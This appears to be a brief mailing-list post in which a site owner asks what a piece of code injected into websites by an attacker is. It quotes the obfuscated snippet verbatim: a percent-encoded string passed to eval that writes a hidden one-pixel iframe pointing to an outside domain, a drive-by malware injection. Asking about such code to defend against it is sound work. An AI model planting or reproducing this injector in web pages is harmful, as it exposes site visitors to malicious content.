[Skunkworks] sedpo - malware

Some hacker is inserting the code below on sites, making them be seen as harmful. Anyone who has an idea as to what this is? <script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%65%64%70%6F%6F%2E%63%6F%6D%2F%3F%36%32%34%37%35%32%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script><!-- uy7gdr5332rkmn -->